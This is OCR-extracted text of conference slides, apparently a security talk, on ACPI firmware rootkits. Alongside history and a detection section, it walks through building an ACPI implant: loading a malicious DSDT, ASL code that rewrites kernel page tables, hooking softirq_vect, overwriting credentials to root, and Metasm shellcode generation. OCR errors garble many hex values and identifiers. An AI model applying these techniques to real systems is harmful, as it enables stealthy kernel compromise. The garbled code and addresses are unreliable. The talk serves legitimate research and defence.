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ACPI

e Standard emerging to provide Power Management

e Successor of APM and other proprietary BIOS code

e “Architecture -independent power management and configuration framework”
[1]

e Firstreleasedin 1996

e Since October 2013, specification transferred to UEFI forum

e Lastversionis 6.0 from April 2015
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ACPI (cont’d)

e “ACPI can best be described as a framework of concepts and interfaces that are
implemented to form a subsystem within the host 0S.” [2]

e Reference implementation ACPICA, by Intel engineers. Used in Linux and
FreeBSD.
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ACPI High-Level Overview

Interface specification only, OS independent

Defines Tables, set up by the BIOS/UEFI

Defines States (P0-3, D0-3, etc) and Registers
Defines interactions with BIOS/UEFI to access these
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ACPI Tables (cont'd)
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Located in system's memory address space
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ACPI Tables (cont'd)

Google

Fixed ACPI
Description Table

Static info

FIRM

DSDT

Differentiated System
Description Table

BLKs

Software

Hardware

Differentiated
Definition > ACPI
Block Driver
e

[2]



ACPI Machine Language (AML)

e Defined in the Definition Blocks

e Bytecode executed by a VM inside the kernel
o  ACPI Specific language
o Platform-independent

e Open source tool provided by Intel: iasl
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ACPI Source Language (ASL)

Method (_PTS, 1, NotSerialized) // _PTS: Prepare To Sleep
{
Store (Argo, DBG8)
If (LAnd (LEqual (Arg@, ©xe4), LEqual (OSFL (), ©0x02)))

{
Sleep (©x0BB8)

}

PTS (Arge)

Store (Zero, Index (WAKP, Zero))
Store (Zero, Index (WAKP, One))
Store (ASSB, WSSB)

Store (AOTB, WOTB)

Store (OSFL (), AOTB)

Store (Zero, AAXB)

Store (One, \_SB.SLPS)
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Criticism

e “The ACPI spec is bloated, complex, and very hard to follow” - Alan Cox, 2001 [3]
e “The more | start to see early UEFI/ACPI code, the more | am certain
that we want none of that crap in the kernel.” - Olof Johansson (Linux/ARM),
2013 [4]
e InLinux 4.4, ACPICA only is 40,000+ LOC
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Resignation

e “Modern PCs are horrible. ACPI is a complete design disaster in every way. But
we're kind of stuck with it.” - Linus Torvalds, 2003 [5]

e “all of the big boys are going to be using ACPI whether it's liked much or not” -
Jon Masters, 2013 [6]
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Known attacks
and abuse
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Heasman’s attack

e Published for Blackhat EU 2006 [7]

e Define malicious DSDT table

e Uses the ASL language to define a new OperationRegion for the physical
memory

e Execute instruction (read/write) on that region

OperationRegion(SEAC, SystemMemory, ©xC04048, ©x1)
Field(SEAC, AnyAcc, NoLock, Preserve)

{
FLD1, ©x8

}
Store(0x0, FLD1)
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Heasman'’s attack (cont'd)

e On Linux, overwrite undefined syscall (sys_ni_syscall) to jump to a user-supplied
address (%ebx)

e |eads to execution in userland with kernel privileges
e Requires sys_ni_syscall to be writable
e Caught by SMEP

Google



DCSSI work
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From French National Agency for Computer Security
White paper published in ‘09 [8]
Similarly to Heasman, target DSDT table

PoC of ACPI rootkit triggered by external hardware events
o “Laptop lid opening, power adapter plugged and removed twice in a row”

Overwrite part of setuid() to always set euid to 0
Requires setuid to be writable



Windows Platform Binary Table (WPBT)

Vendor-specific ACPI table [9]

Main use case: Anti-theft solution

Contains (the address of) a PE32 executable

At boot, Windows copy and execute it

Lenovo was found to use it to gather “extra” information
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Make your own
ACPI implants



Targets

e Targeting DSDT

e SSDT

o “Secondary System Description Tables (SSDT) are a continuation of the DSDT” [6]
o Not to be confused with System Service Dispatch Table (Windows), another rootkit avenue
o  Multiple tables with such signature: SSDT1, SSDT2, etc...

e PSDT

o From ACPI v1, obsolete since v2 but still supported in v6

o “OSPM will evaluate a table with the “PSDT" signature in like manner to the evaluation of an
SSDT” [6]
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Getting your own DSDT running (hardware)

e Replacing the SPI flash image

o Requires specific hardware: buspirate
o Open Source tools: flashrom

e Debug and test by using a Dediprog EM100 to emulate the flash
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Getting your own DSDT running (software)

e Linux
o At compilation time: CONFIG_ACPI_CUSTOM_DSDT_FILE="DSDT.hex"
o At boot time, within initramfs, kernel/firmware/acpi/dsdt.hex

o Tamper with the ACPI tables discovery:
acpi_rsdp= [ACPI,EFI,KEXEC] Pass the RSDP address to the kernel [...]

e FreeBSD in /boot/loader.conf

o acpi_dsdt_load="YES"
acpi_dsdt_name="/boot/DSDT.aml"

e Both started as debugging / BIOS fixing facilities
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Getting your own DSDT running (VMs)

e Qemu
o BIOS provided tables up to pc-0.15
o For later versions, Qemu generates the ACPI tables for BIOS

o -acpitable does not override the DSDT

e SeaBios

o Used by QEMU, released under GPL
o Include basic tables with standard ASL
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Injecting code into the kernel

e Previously published attacks rely on writable and executable kernel areas
o  sys_ni_syscall
o setuid

e Does the kernel still have RWX regions?
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Page Walking on
Linux x86_64



|A-32e paging
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Figure 4-8. Linear-Address Translation to a 4-KByte Page using IA-32e Paging
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Documentation/x86/x86_64/mm.txt

Virtual memory map with 4 level page tables:

000000000000 - PPVV7fffffffffff (=47 bits) user space, different per mm
hole caused by [48:63] sign extension

[...]
880000000000 - ffffc7ffffffffff (=64 TB) direct mapping of all phys. memory

[...]
ffffffff80000000 - ffffffffa000eeee (=512 MB) kernel text mapping, from phys ©
ffffffffaoooo000 - ffffffffff5fffff (=1525 MB) module mapping space

vmalloc space is lazily synchronized into the different PML4 pages of

the processes using the page fault handler, with init_level4 pgt as
reference.

Google



CONFIG_X86_PTDUMP
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---[ User Space ]---
Ox000000000E000000-0xTTFFB00000000000
---[ Kernel Space ]---
oxffff800000000000-0xffffB80000000000
---[ Low Kernel Mapping ]---
OxFfff880000000000-0xFffFfB80000092000
OxfFfff880000099000-0xfT 880000092000
oxfFfff88000009a000-0xffffB88000009b0OG
Oxffff88000009b0RO-0xffffB80000200000
OxFfff880000200000-0xFfffB80001000000
OxFfff880001000000-0xfTffB80001800000
oxffff880001800000-0xffffB880001813000
Oxffff880001813000-0xff 880001200000
Oxffff880001a00000-0xTfff880001cO0000
OxFfff880001cO0000-0xTTffBE0001dc3000
Oxfrfff880001dc3000-0xffff880002200000
Oxffff880002200000-0xff 880036800000

16777088T
8T

612K
4K

4K
1428K
14M
8M
76K
1972K
2M
1804K
4340K
838M




Page Permission

From the Intel Developer Manual:

“If CRO.WP = 1, data may be written to any linear address with a valid translation for
which the R/W flag (bit 1) is 1 in every paging-structure entry controlling the
translation”
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https://www.grsecurity.net/~paxguy1/kmaps.c

000000000009a1 ff88000009a0
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|dentity mapping

e OxFFFF880000000000 - OXFFFFC/FFFFFFFFFF

e Used by kernel to access physical addresses when paging is enabled

e Used by ACPI VM to translate:

o  ASL defined OperationRegion(_, SystemMemory, 0x4000, 0x100)
o To ausable mapping address: 0OxFFFF880000004000

Google



Strategy



Strategy

1. Modify a page to RWX
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Strategy

1. Modify a page to RWX
2. Copy our second-stage payload there
3. Reset the page as RX
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Strategy

Modify a page to RWX

Copy our second-stage payload there

Reset the page as RX

Find a writable structure that contains an execution pointer

HwnN =
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Strategy

Modify a page to RWX

Copy our second-stage payload there

Reset the page as RX

Find a writable structure that contains an execution pointer
Store our 2nd-stage address there

Wait for our 2nd-stage get triggered

ok N~
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Strategy

Modify a page to RWX

Copy our second-stage payload there

Reset the page as RX

Find a writable structure that contains an execution pointer
Store our 2nd-stage address there

Wait for our 2nd-stage get triggered

a. Search for struct credin memory
b. Replace uid, gid, euid, fsuid, ... with 0 (root)
c. Jump back to the hooked function

ok N~
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init_level4_pgt

e /boot/System.map

OxfFfffffff81cOcov0 D init leveld pgt
e Also mapped at

Oxfff880001c0c000O
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Modified SeaBIOS

Method(_WAK, 1, Serialized)

{
/* Find the PTE for 0x9a000 and set the writable bit */

Name(IL4P, 0x01c0c000)

Add(IL4P, ©x880, PLAE)
OperationRegion(ORL4, SystemMemory, PL4E, 0x4)
Field(ORL4, AnyAcc, NoLock, Preserve)

{
PL4F, 32

Store(PL4F, PL3E)
And(PL3E, OXFFFFFF@®, PL3E)

[...]
Store(0x0009a163, PLIF)
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Trigger our 2nd stage

e Linuxinternal IRQ bottom-halves: softirgs, tasklets, work queue

e softirq_vect is an array of 6 pointers (hard-coded) for historical reason
e Writable

/* Modify softirq_vect[tasklet_action] to redirect execution to our shellcode */

OperationRegion(SQIR, SystemMemory, ©x01cobofo, ©Ox8)
Field(SQIR, AnyAcc, NoLock, Preserve)
{

TACT, 64

}
Store(Oxffff88000009a000, TACT)
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2nd stage payload

e Use Metasm to generate shellcode
edata = Metasm::Shellcode.assemble(Metasm: :X86_64.new, <<EOS).encoded

[...]

e Able to automatically fixup variables within the Ruby code
edata.fixup ‘tasklet action’ => oxffffffff8107f0co

e And format output to ASL:

edata.data.chars.each_slice(4)
.map{ |s| s.join.unpack("<I").first.to s(16).rjust(8, "0") }
.each.with_index { |s, i]
puts "Store(Ox#{s}, FL#{i})"
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Demo
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Detection
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Similar to BIOS/UEFI modification detection

e Ultimate method = manual dump of the hardware flash image
e By dumping the flash image using SPIBAR

o chipsec_utils.py spi dump
o UEFITools to find ACPI tables within UEFI
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Linux sysfs

e Tables are surfaced in /sys/firmware/acpi/tables/*

o DSDT

o SSDT[0-9]*
o FACP

o No XSDT?
o No RSDP?
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At scale

e Recently added to ForensicArtifacts
e Now available through GRR Rapid Response:
https://qgithub.com/google/qgrr
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https://github.com/ForensicArtifacts/artifacts/blob/master/definitions/linux.yaml#L197
https://github.com/google/grr
https://github.com/google/grr
https://github.com/google/grr

Conclusion

e ACPIis a standard interface for your firmware backdoor
e Publically known for 10+ years
e Practical exploitation still possible by design

Google



Homework

Install Linux (?)

Get a copy of /sys/firmware/acpi/tables/DSDT
Disassemble it using iasl

Read the code!
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